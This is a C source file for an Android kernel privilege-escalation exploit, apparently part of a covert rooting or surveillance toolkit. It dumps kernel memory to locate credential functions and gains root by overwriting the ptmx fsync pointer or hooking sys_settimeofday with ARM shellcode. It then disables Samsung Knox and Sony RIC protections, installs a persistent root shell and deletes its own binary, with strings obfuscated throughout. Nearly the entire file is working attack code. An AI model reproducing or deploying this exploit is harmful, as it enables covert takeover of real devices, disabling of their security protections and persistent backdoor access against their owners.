selinux_native/jni/put_user_exploit/put_user_exploit.c
#include <stdio.h>
#include <sys/time.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/mount.h>
#include "lib_put_user.h"
#include "kallsyms_in_memory.h"
#include "kallsyms.h"
#include "device_database.h"
#include "knox_manager.h"
#include "log.h"
#include "shell_params.h"
#include "deobfuscate.h"
#include "utils.h"
#include "boot_manager.h"
#include "ps.h"
#include "shell_installer.h"
#define KERNEL_DUMP_START_ADDRESS 0xc0808000
#define KERNEL_DUMP_SIZE 0x500000
#define MB 0x100000
#define KERNEL_DUMP_TIMES 7
#define ERROR 0
#define SUCCESS 1
static unsigned char ptmx_device[] = "\x13\xfa\xe0\xcc\x8b\x8a\xa5\xcc\xa7\x9b\x82\x9f"; // "/dev/ptmx"
static unsigned char daemon_opt[] = "\x3d\xe4\xd1\x10\x10\xd9\xa4\xd8\xd0\xd2\xd3"; // "--daemon"
static unsigned char proc_kallsyms[] = "\x94\x98\x02\xcb\xe4\xe6\x0b\x17\xcb\x0f\x15\x08\x08\xe7\x1d\x09\xe7"; // "/proc/kallsyms"
static unsigned char commit_creds_str[] = "\xf1\x8f\x72\xae\xa2\xa4\xa4\xa8\x9b\xb2\xae\x9d\xac\xab\x9e\xf8"; // "commit_creds"
static unsigned char prepare_kernel_cred_str[] = "\xdb\xf1\x39\x6d\x6b\x5e\x6d\x5a\x6b\x5e\x84\x50\x5e\x6b\x57\x5e\x59\x84\x58\x6b\x5e\x41"; // "prepare_kernel_cred"
static unsigned char kernel_execve_str[] = "\xc6\xca\x01\xbd\xa7\xb4\xb8\xa7\xbe\xa9\xa7\x42\xa7\xa5\xb0\xa7"; // "kernel_execve"
static unsigned char sys_setresuid_str[] = "\x27\xbd\x97\xac\xa6\xac\x88\xac\x42\xad\xaf\x42\xac\xb2\xb6\xbd"; // "sys_setresuid"
static unsigned char ptmx_fops_str[] = "\xac\xf3\x56\x3c\x38\x47\x34\x15\x4e\x45\x3c\x21"; // "ptmx_fops"
static unsigned char selinux_enabled_str[] = "\x0b\xbd\xb9\x88\x96\x99\xa2\x9f\x86\x8d\xac\x96\x9f\x9a\x9b\x99\x96\x91"; // "selinux_enabled"
static unsigned char selinux_enforcing_str[] = "\xad\x0d\xb1\xe6\xd8\xc3\xdc\xdd\xe8\xef\xf2\xd8\xdd\xd5\xc2\xe1\xd6\xdc\xdd\xda"; // "selinux_enforcing"
static unsigned char sys_settimeofday_str[] = "\xe2\xd1\x23\xb3\xbd\xb3\x5f\xb3\x89\xb6\xb6\x8d\xb1\x89\x8f\x84\x86\x85\xbd"; // "sys_settimeofday"
static unsigned char ext3_str[] = "\x71\x92\xe7\x34\x09\x05\x46"; // "ext3"
#ifdef LOCAL
static char shell_server[512];
static char old_shell_path[512];
#endif
int pipe_fd[2];
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *);
typedef int (*commit_creds_t)(struct cred *);
typedef int (*kernel_execve_t)(const char *filename, const char *const argv[], const char *const envp[]);
typedef int (*sys_setresuid_t)(uid_t ruid, uid_t euid, uid_t suid);
// Kernel functions and symbols
prepare_kernel_cred_t prepare_kernel_cred = 0;
commit_creds_t commit_creds = 0;
kernel_execve_t kernel_execve = 0;
sys_setresuid_t sys_setresuid = 0;
unsigned long int ptmx_fops = 0;
unsigned long int ptmx_fops_fsync_address = 0;
unsigned long int selinux_enabled = 0;
unsigned long int selinux_enforcing = 0;
unsigned long int settimeofday_addr = 0;
/*********************/
/*** PIPE STUFF ******/
/*********************/
// Pipe server
static int start_pipe_server() {
int nbytes,msg;
int done_root = 0;
/* Parent process closes up output side of pipe */
close(pipe_fd[1]);
LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());
while(1) {
/* Read in a message from the exploiting process */
nbytes = read(pipe_fd[0], &msg, sizeof(msg));
if(nbytes <= 0) exit(0);
if(msg == SUCCESS) {
LOGD("[CONTROLLER] Exploit succeded\n");
return 1;
}
if(msg == ERROR) {
LOGD("[CONTROLLER] Error received\n");
return 0;
}
}
}
// Send a message to the controller
static void send_pipe_msg(int msg) {
int msg_to_send;
LOGD("[PIPE] Sending msg %d\n", msg);
msg_to_send = msg;
write(pipe_fd[1], &msg, sizeof(msg));
}
// Check if a dumped address is correct to avoid crashes
int sanitize_address(unsigned long int addr) {
if((addr >= 0xc0000000) && (addr <= 0xc4000000))
return addr;
else
return 0;
}
void sanitize_address_group(void) {
prepare_kernel_cred = (void *) sanitize_address((unsigned long int)prepare_kernel_cred);
commit_creds = (void *) sanitize_address((unsigned long int)commit_creds);
kernel_execve = (void *) sanitize_address((unsigned long int)kernel_execve);
sys_setresuid = (void *) sanitize_address((unsigned long int)sys_setresuid);
ptmx_fops = sanitize_address(ptmx_fops);
selinux_enabled = sanitize_address(selinux_enabled);
selinux_enforcing = sanitize_address(selinux_enforcing);
settimeofday_addr = sanitize_address(settimeofday_addr);
}
// Dump a slice of kernel
int dump_kernel(char *dest, unsigned long int start, int size) {
unsigned long int addr;
unsigned long int val;
int cnt = 0;
for (addr = start; addr < (start + size); addr += 4, dest += 4) {
if (read_value_at_address(addr, &val) != 0)
return -1;
memcpy(dest, &val, sizeof(unsigned long int));
if (cnt == 0) {
LOGD("addr=%08x\n", (unsigned int)addr);
}
cnt += 4;
if (cnt >= 0x100000) {
cnt = 0;
}
}
return 0;
}
// Dump the kernel and check the needed symbols directly in memory
int get_symbols_from_kernel(void) {
char *dump_buf = malloc(KERNEL_DUMP_SIZE);
char *dump_buf_next = NULL;
unsigned long int current_start_addr = 0;
int current_size = 0;
int i = 0;
bool init_syms = false;
if(dump_buf)
memset(dump_buf, 0, KERNEL_DUMP_SIZE);
else
return -1;
if(dump_kernel(dump_buf, KERNEL_DUMP_START_ADDRESS, KERNEL_DUMP_SIZE) < 0)
return -1;
current_start_addr = KERNEL_DUMP_START_ADDRESS;
current_size = KERNEL_DUMP_SIZE;
// Add 2 MB to the kernel dump slice until we find the symbol table
for(i = 0; i < KERNEL_DUMP_TIMES; i++) {
// If we find the symbol table dump 2 MB more and exit to be sure to have all symbols
init_syms = kallsyms_in_memory_init((void *)dump_buf, current_size);
dump_buf_next = malloc(current_size + (MB * 2));
if(!dump_buf_next)
return -1;
// Dump the previous MB
if(dump_kernel(dump_buf_next, current_start_addr - MB, MB) < 0)
return -1;
// Copy the old kernel dump
memcpy((void *)(dump_buf_next + MB), dump_buf, current_size);
// Dump the next MB
if(dump_kernel((void *)(dump_buf_next + current_size + MB), current_start_addr + current_size, MB) < 0)
return -1;
free(dump_buf);
// Refresh
dump_buf = dump_buf_next;
current_size += MB * 2;
current_start_addr -= MB;
if(init_syms)
break;
}
// Initialize again
init_syms = kallsyms_in_memory_init((void *)dump_buf, current_size);
if(!init_syms)
return -1;
prepare_kernel_cred = (void *) kallsyms_in_memory_lookup_name(deobfuscate(prepare_kernel_cred_str));
commit_creds = (void *) kallsyms_in_memory_lookup_name(deobfuscate(commit_creds_str));
kernel_execve = (void *) kallsyms_in_memory_lookup_name(deobfuscate(kernel_execve_str));
sys_setresuid = (void *) kallsyms_in_memory_lookup_name(deobfuscate(sys_setresuid_str));
ptmx_fops = kallsyms_in_memory_lookup_name(deobfuscate(ptmx_fops_str));
selinux_enabled = kallsyms_in_memory_lookup_name(deobfuscate(selinux_enabled_str));
selinux_enforcing = kallsyms_in_memory_lookup_name(deobfuscate(selinux_enforcing_str));
settimeofday_addr = (unsigned long int) kallsyms_in_memory_lookup_name(deobfuscate(sys_settimeofday_str));
if(ptmx_fops)
ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;
return 0;
}
// Check if we can retrieve the needed symbols easily just reading /proc/kallsyms (i.e: Android <= 4.0.4)
int get_symbols_from_file() {
FILE *f = NULL;
char line[512];
char *str = NULL;
f = fopen(deobfuscate(proc_kallsyms), "r");
if(!f)
return -1;
memset(line, 0, sizeof(line));
if(!(fgets(line, sizeof(line), f)))
return -1;
str = strtok(line, " ");
if(!strtoul(str, NULL, 16))
return -1;
prepare_kernel_cred = (void *) kallsyms_get_symbol_address(deobfuscate(prepare_kernel_cred_str));
commit_creds = (void *) kallsyms_get_symbol_address(deobfuscate(commit_creds_str));
kernel_execve = (void *) kallsyms_get_symbol_address(deobfuscate(kernel_execve_str));
sys_setresuid = (void *) kallsyms_get_symbol_address(deobfuscate(sys_setresuid_str));
ptmx_fops = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(ptmx_fops_str));
selinux_enabled = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(selinux_enabled_str));
selinux_enforcing = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(selinux_enforcing_str));
settimeofday_addr = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(sys_settimeofday_str));
if(ptmx_fops)
ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;
return 0;
}
// Code to exec as root
void shellcode(void) {
commit_creds(prepare_kernel_cred(0));
}
// Install an hook for our shellcode in the sys_settimeofday kernel function
int patch_sys_settimeofday(void) {
unsigned long int hook[9];
int i = 0;
// We are going to patch a system call directly in the kernel space so it is important to use
// just kernel space addresses to avoid post exploitation crashes
hook[0] = 0xe92d41f0; // push {r4, r5, r6, r7, r8, lr} # prologue
hook[1] = 0xe59f1010; // ldr r1, [pc, #16] # r1 = prepare_kernel_cred address
hook[2] = 0xe0200000; // eor r0, r0, r0 # r0 = 0
hook[3] = 0xe12fff31; // blx r1 # prepare_kernel_cred(0)
hook[4] = 0xe59f1008; // ldr r1, [pc, #8] # r1 = commit_creds
hook[5] = 0xe12fff31; // blx r1 # commit_creds(prepare_kernel_cred(0))
hook[6] = 0xe8bd81f0; // pop {r4, r5, r6, r7, r8, pc} # epilogue
hook[7] = (unsigned long int) prepare_kernel_cred; // prepare_kernel_cred address
hook[8] = (unsigned long int) commit_creds; // commit_creds address
if(!settimeofday_addr)
return 0;
for(i = 0; i < sizeof(hook)/4; i++) {
LOGD("Writing instruction %d", i);
sleep(1);
if(!write_value_at_address((unsigned long int)settimeofday_addr + (i*4), hook[i]))
return 0;
LOGD("Instruction done");
}
LOGD("Done");
sleep(1);
return 1;
}
// Fix the hooked syscall so that no one else can get root
void fix_syscall_hook(void) {
unsigned long int hook[3];
int i = 0;
// We are going to patch a system call directly in the kernel space so it is important to use
// just kernel space addresses to avoid post exploitation crashes
// Just do a "return 0"
hook[0] = 0xe92d41f0; // push {r4, r5, r6, r7, r8, lr} # prologue
hook[1] = 0xe0200000; // eor r0, r0, r0 # r0 = 0
hook[2] = 0xe8bd81f0; // pop {r4, r5, r6, r7, r8, pc} # epilogue
if(!settimeofday_addr)
return;
for(i = 0; i < sizeof(hook)/4; i++) {
LOGD("Fixing instruction %d", i);
sleep(1);
if(!write_value_at_address((unsigned long int)settimeofday_addr + (i*4), hook[i]))
return;
LOGD("Istruction fixed");
}
LOGD("Fixing done");
}
// Inject a syscall hook to perform the privileges escalation
void trigger_syscall_hook(void) {
struct timeval now;
int rc;
// Random value
now.tv_sec=866208142;
now.tv_usec=290944;
// Hook the settimeofday() syscall
LOGD("Patching syscall");
if(!patch_sys_settimeofday())
return;
sleep(2);
LOGD("Going to trigger");
// Trigger
rc=settimeofday(&now, NULL);
sleep(2);
// Remove the hook
LOGD("Fixing syscall");
fix_syscall_hook();
}
// overwrite the ptmx_fops_fsync_address address
int trigger_ptmx(void) {
int fd;
int ret;
unsigned long int restore = 0;
if(!ptmx_fops_fsync_address)
return -1;
// read current value
if(read_value_at_address(ptmx_fops_fsync_address, &restore) < 0) {
LOGD("Error dumping...\n");
restore = -1;
}
if(!write_value_at_address(ptmx_fops_fsync_address,(unsigned long int)&shellcode))
return -1;
// Trigger
fd = open(deobfuscate(ptmx_device), O_WRONLY);
ret = fsync(fd);
close(fd);
LOGD("Restoring 0x%x at 0x%x\n", (unsigned int)restore, (unsigned int)ptmx_fops_fsync_address);
// Restore the old value
if(restore >= 0)
write_value_at_address(ptmx_fops_fsync_address, restore);
return (ret == 0);
}
/// REMOTE and LIB: exploit as function ///
#ifndef LOCAL
int put_user_get_root(char *rcs_path, char *bin_path) {
pipe(pipe_fd);
if(fork() != 0)
return start_pipe_server();
sleep(2);
close(pipe_fd[0]);
//////////////////////////////////////////
/// LOCAL: exploit as executable ///
#else
int main(int argc, char **argv) {
if(argc < 3)
return -1;
#endif
////////////////////////////////////
// Get init as parent. This is REALLY usefull to bypass Samsung protection
if(fork())
exit(0);
#ifdef LOCAL
memset(shell_server, 0, sizeof(shell_server));
memset(old_shell_path, 0, sizeof(old_shell_path));
strncpy(shell_server, argv[1], sizeof(shell_server));
strncpy(old_shell_path, argv[2], sizeof(old_shell_path));
#endif
// Check if we have hardcoded symbols for this
if(detect_device()) {
LOGD("Device detected\n");
ptmx_fops = (unsigned long int) device_get_symbol_address(device_symbol_ptmx_fops);
prepare_kernel_cred = (void *) device_get_symbol_address(device_symbol_prepare_kernel_cred);
commit_creds = (void *) device_get_symbol_address(device_symbol_commit_creds);
settimeofday_addr = (unsigned long int) device_get_symbol_address(device_symbol_sys_settimeofday);
if(ptmx_fops)
ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;
}
// Check if we can read kernel symbols from /proc/kallsyms (i.e: android < 4.1.1)
else if(get_symbols_from_file() < 0) {
// Try to retrieve the required symbols dumping the kernel
if(get_symbols_from_kernel() < 0) {
#ifndef LOCAL
send_pipe_msg(ERROR);
#endif
return -1;
}
}
// Check addresses
sanitize_address_group();
LOGD("Symbols found: fops %x prep_kern_cred %x commit_creds %x settimeofday_addr %x selinux_enforcing %x", ptmx_fops, prepare_kernel_cred, commit_creds, settimeofday_addr, selinux_enforcing);
// We have to choose which exploitation technique we can use looking at the symbols we have
// If we have all the ptmx_fops sym we try to use ptmx device to trigger
// otherwise try with the syscall hook injection
if(ptmx_fops && prepare_kernel_cred && commit_creds)
trigger_ptmx();
else if(settimeofday_addr && prepare_kernel_cred && commit_creds) {
LOGD("Triggering syscall hook at 0x%x", settimeofday_addr);
trigger_syscall_hook();
}
/// REMOTE and LIB: extract all and install shell and apk (if needed)
#ifndef LOCAL
LOGD("Executing remote branch\n");
// If we are root install the root shell
if(getuid() == 0) {
// Stop xperia ric if presents
if(is_ric_present())
remove_ric();
// Stop knox if exists
if(is_knox_present())
remove_knox();
// Put shells on file systems
extract_shell_files(rcs_path);
// Ok, now we need to install the root shell.
// If it is possible we install the old style shell (setuid binary)
LOGD("Trying to install setuid shell");
if(!install_legacy_shell()) {
if(install_shell(NULL) < 0) {
send_pipe_msg(ERROR);
exit -1;
}
else
kill_debuggerd();
}
}
sleep(3);
cleanup();
if(bin_path)
remove(bin_path);
send_pipe_msg(SUCCESS);
sleep(2);
exit(0);
/// LOCAL: just install the shell and exec it
#else
// If we are root install the root shell
if(getuid() == 0) {
// Stop knox if exists
if(is_knox_present())
remove_knox();
// Ok, now we need to install the root shell.
// If it is possible we install the old style shell (setuid binary)
LOGD("Trying to install setuid shell");
if(install_old_shell(old_shell_path))
return 0;
if(install_shell(shell_server) < 0)
return -1;
}
// OK. At this point we are both root and child of init. We can do what we want :)
execl(deobfuscate(ROOT_BIN), deobfuscate(ROOT_BIN_ARG0), deobfuscate(daemon_opt), NULL);
return -1;
#endif
}